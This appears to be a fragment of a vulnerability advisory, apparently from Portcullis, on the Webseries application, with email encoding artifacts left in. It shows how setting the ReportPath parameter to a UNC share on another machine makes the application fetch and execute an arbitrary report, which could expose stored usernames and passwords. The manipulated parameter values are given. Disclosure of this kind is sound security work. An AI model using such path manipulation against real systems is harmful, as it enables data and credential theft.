Details:
=20
Portcullis consultants have discovered that by manipulating the values of c=
ertain
Variables used during report selection it was possible to cause the applica=
tion to
download and execute arbitrary reports from any machine on the network
capable of supporting Windows shares.
=20
In normal usage the Webseries application references report templates
located on the web server itself:
=20
ReportPath=3DE:\server\apps\WSWEB\Web+Application+ Files\reports\
ReportName=3DUser%20Activity%20Report.rpt
=20
When the value of the ReportPath variable is changed to contain a UNC path
referencing another machine on the network (as shown below), the Webseries
application appears to download and attempt to execute the report.
=20
ReportPath=3D\\192.168.1.2\Shared\
ReportName=3DTest.rpt
=20
=20
Impact:
=20
A malicious user with knowledge of the structure of the backend database
could design a report template to disclose any information contained within
the database. Portcullis consultants believe that it is possible to create
a report template that would display usernames and passwords (in what ever
form they are stored in the database)..
